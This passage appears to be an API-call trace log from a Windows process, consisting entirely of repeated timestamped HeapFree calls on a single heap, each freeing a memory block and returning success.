	[0178.068] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.069] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.069] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.070] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.070] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.072] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.073] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.074] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.074] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.411] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44aafb0 | out: hHeap=0x610000) returned 1
	[0178.418] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0178.418] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0178.418] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0178.418] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0178.418] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0178.419] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0178.420] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0178.421] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0178.422] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0178.423] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0178.423] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0178.426] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0178.426] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0178.427] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0178.428] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0178.428] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0178.430] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x453ff38 | out: hHeap=0x610000) returned 1
	[0178.430] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0178.430] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0178.436] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0178.436] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0178.438] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0178.438] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x453ff38 | out: hHeap=0x610000) returned 1
	[0178.438] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0178.438] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0178.440] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0178.442] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0178.442] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0178.443] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0178.443] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0178.444] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0178.444] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0178.444] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0178.451] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0178.454] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0178.455] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0178.456] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0178.456] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0178.456] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0178.781] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0178.797] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x452ff30 | out: hHeap=0x610000) returned 1
	[0178.808] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.808] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.808] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.808] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.808] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0178.809] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.809] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.810] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.810] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0178.810] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.810] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0178.811] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.812] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.812] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.812] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0178.812] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0178.813] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0178.813] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0178.813] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0178.815] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0178.815] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0178.815] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0179.038] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0179.043] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x453ff38 | out: hHeap=0x610000) returned 1
	[0179.043] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0179.044] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0179.044] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0179.044] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0179.047] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0179.048] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0179.048] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45924a0 | out: hHeap=0x610000) returned 1
	[0179.048] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0179.050] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0179.050] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0179.050] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0179.050] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0179.060] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x453ff38 | out: hHeap=0x610000) returned 1
	[0179.061] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0179.061] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x453ff38 | out: hHeap=0x610000) returned 1
	[0179.062] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0179.062] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0179.063] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0179.069] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0179.209] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0179.288] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0179.290] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0179.292] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0179.292] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0179.297] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0179.298] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0179.298] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0179.299] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0179.299] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0179.299] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0179.300] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0179.304] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0179.304] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0179.322] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0179.325] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0179.327] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0179.327] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0179.328] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0179.331] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0179.331] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0179.332] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0179.332] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0179.333] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0179.333] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0179.334] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0179.334] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0179.335] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0179.335] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0179.336] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44fff20 | out: hHeap=0x610000) returned 1
	[0179.336] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0179.336] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0179.336] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0179.338] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0179.339] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0179.340] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0179.350] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x454ff40 | out: hHeap=0x610000) returned 1
	[0179.497] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0179.501] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0179.501] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0179.502] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0179.503] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0179.503] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0179.503] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0179.504] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0179.504] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0179.504] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x445b670 | out: hHeap=0x610000) returned 1
	[0179.507] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0179.507] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0179.508] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0179.508] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0179.522] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0179.525] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0179.525] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0179.525] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0179.527] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0179.527] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0179.528] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0179.529] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0179.530] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0179.530] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0179.532] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0179.532] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0179.534] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0179.534] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0179.534] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0179.534] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0179.534] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0179.791] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0179.792] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0179.795] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x444b668 | out: hHeap=0x610000) returned 1
	[0179.795] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45a24a8 | out: hHeap=0x610000) returned 1
	[0179.795] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0179.795] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0179.797] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0179.812] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4571488 | out: hHeap=0x610000) returned 1
	[0179.813] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0179.815] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4478eb8 | out: hHeap=0x610000) returned 1
	[0180.163] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0180.166] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0180.169] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0180.173] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0180.183] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0180.186] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0180.188] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0180.191] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0180.529] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0180.530] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0180.532] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0180.533] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0180.941] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0180.944] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0180.947] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0180.950] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0180.953] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0180.956] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0180.959] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0181.031] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0181.034] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0181.037] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0181.040] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0181.043] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0181.046] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0181.434] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0181.661] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0181.665] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0181.668] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0181.670] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0181.674] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0181.677] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0181.684] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0181.687] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0181.692] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0181.695] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0182.197] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0182.552] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0182.554] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0182.556] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0182.558] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0182.560] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0182.562] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0182.566] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0182.568] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0182.570] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0182.572] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0182.574] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0184.240] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0184.696] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0185.026] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0185.040] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0185.074] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0185.088] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0185.092] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0185.096] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0185.100] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0185.103] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0185.107] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
	[0185.123] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4582498 | out: hHeap=0x610000) returned 1
